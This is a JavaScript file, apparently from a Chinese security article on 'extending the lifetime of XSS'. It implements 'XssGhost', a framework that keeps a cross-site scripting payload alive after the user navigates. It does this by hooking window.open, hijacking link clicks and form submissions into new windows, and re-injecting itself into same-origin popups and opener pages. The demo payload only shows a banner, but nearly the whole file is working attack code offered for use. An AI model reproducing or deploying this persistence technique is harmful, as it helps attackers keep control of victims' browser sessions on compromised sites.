如何延长xss生命周期

xss.js

//延长xss生命周期
//文章：http://drops.wooyun.org/web/5049

var XssGhost = function() {

    function module(id, payload, winList, first) {
        var window = this;

        // debug
        window.addEventListener('error', function(e) {
            alert('err: ' + e.message);
        });

        // 使用副本
        winList = winList.concat();


        function globalCall(win, code, args) {
            code = '(' + code + ').apply(this,arguments)';
            if (!win.Function) {
                return false;
            }
            var fn = win.Function(code);
            fn.apply(null, args || []);
            return true;
        }

        //
        // 弹窗钩子
        //
        var mFnWinOpen = window.open;
        window.open = function(url) {
            var win = mFnWinOpen.apply(this, arguments);
            if (win) {
                if (!url || /about:blank/i.test(url)) {
                    win.__xss_blank = true;
                }
                welcome(win);
            }
            return win;
        };

        // 获取当前<a>元素
        function getAnchorElem(e) {
            var el = e.target;
            do {
                if (el.tagName == 'A') {
                    return el;
                }
                el = el.parentNode;
            } while (el != document);
        }

        // 超链接劫持
        function clickHandler(e) {
            if (e.defaultPrevented) {
                return;
            }
            var link = getAnchorElem(e);
            if (!link) {
                return;
            }
            if (!/http|about/.test(link.protocol)) {
                return;
            }
            // 屏蔽默认行为，模拟弹窗
            e.preventDefault();
            open(link.href);
        }

        // 表单劫持
        function submitHandler(e) {
            if (e.defaultPrevented) {
                return;
            }
            // 在新页面中提交
            var name = '$' + Math.random();
            var win = open('', name);

            var form = e.target;
            form.target = name;
        }

        // 通知大家，有新页面加入
        function broadcast(win) {
            enumWinList(function(v) {
                var notify;
                try {
                    notify = v.__xss_notify;
                } catch(e) {}

                if (notify) {
                    notify(win);
                }
            });
        }

        // broadcast 通知接口
        window.__xss_notify = function(win) {
            var exist;
            enumWinList(function(v) {
                if (v == win) {
                    exist = true;
                    return false;
                }
            });
            if (!exist) {
                winList.push(win);
            }
        };

        // 更新所有 Window
        function update() {
            var newList = [];

            // 刷新列表，过滤关闭的窗体
            enumWinList(function(v) {
                if (v != window) {
                    check(v);
                }
                newList.push(v);
            });
            winList = newList;
//console.log(winList.length)
        }


        function enumWinList(callback) {
            var n;
            try {
                // IE 下各种异常
                n = winList.length;
            } catch(e) {
                //alert('shit:' + e);
                return; 
            }

            for (var i = 0; i < n; i++) {
                var win;
                try {
                    win = winList[i];
                    if (win.closed) {
                        continue;
                    }
                } catch (e) {
                    //alert('fuck:' + e);
                    continue;
                }
                if (callback(win) === false) {
                    break;
                }
            }
        }

        // 新页面加入
        function welcome(win) {
            //
            // 不同源的 Window 也可以先关注起来，
            // 以后转到同源的页面里，仍可控制
            //
            broadcast(win);
            check(win);
        }

        function isLoadingPage(win) {
            return win.location.href == 'about:blank' && !win.__xss_blank;
        }

        function isSameOrigin(win) {
            try {
                return !!win.Function;
            } catch(e) {
                return false;
            }
        }

        // 检测指定的窗口
        function check(win) {
            if (!isSameOrigin(win)) {
                return;
            }
            if (id in win) {
                return; // 已初始化
            }

            // 注入当前模块到新 Window
            if (!win.__xss_injected) {
                var args = [
                    id,
                    payload,
                    winList
                ];
                if (!globalCall(win, module, args)) {
                    return;
                }
                win.__xss_injected = true;
            }

            // 过渡页
            if (isLoadingPage(win)) {
                return;
            }

            // 过渡完成，正式初始化
            var fnInit = win.__xss_init;
            if (fnInit) {
                fnInit();

                // 标记已注入
                win[id] = true;
            }
        }

        // 正式初始化
        window.__xss_init = function() {
            // 执行 XSS 代码
            globalCall(window, payload);

            // 定时检测页面
            setInterval(update, 1000);

            document.addEventListener('click', clickHandler);
            document.addEventListener('submit', submitHandler);
        };


        // 关注退出消息
        window.addEventListener('message', function(e) {
            if (e.data == 'bye') {
                e.stopImmediatePropagation();
                //console.warn('bye');
                update();
            }
        }, true);

        // 页面退出事件（刷新或关闭）
        window.addEventListener('unload', function() {
            // 通知其他页面
            enumWinList(function(v) {
                if (v != window) {
                    try {
                        v.postMessage('bye', '*');
                    } catch(e) {}
                }
            });
        });


        function injectParent() {
            var win = window;
            while (win = win.parent) {
                welcome(win);
            }
        }

        //
        // 注入来源页
        //   opener 可能不同源，
        //   但若 opner.opener 同源，仍然可以控制
        //
        function injectOpener() {
            var win = window;
            for (;;) {
                try {
                    win = win.opener;
                } catch(e) {
                    //alert('fail get opener', e);
                    break;
                }
                if (!win) {
                    break;
                }
                welcome(win);
            }
        }

        // 注入相关页面
        if (first) {
            __xss_init();

            if (self == top) {
                injectOpener();
            } else {
                // FIX ME
                //injectParent();
            }
        }
    }


    function init(opt) {
        // 不考虑老 IE 浏览器了
        if (!window.addEventListener) {
            return;
        }

        var id = '__xss_id_' + opt.id;
        if (id in window) {
            return;
        }
        window[id] = true;

        var payload = opt.payload;
        payload();

        module(id, payload + '', [window], true);
    }

    return {
        init: init
    };
}();


// test
XssGhost.init({
    id: 'test1',
    payload: function() {
        //console.warn('xss run');

        function show() {
            var div = document.createElement('div');
            div.innerHTML = 'xss running...';
            div.style.cssText = 'position:fixed; top:0; right:0; color:red; background:#000; font-size:40px; line-height:40px; z-index:999999';            
            document.body.appendChild(div);
        }

        if (document.body) {
            show();
        } else {
            window.addEventListener('DOMContentLoaded', show);
        }
    }
});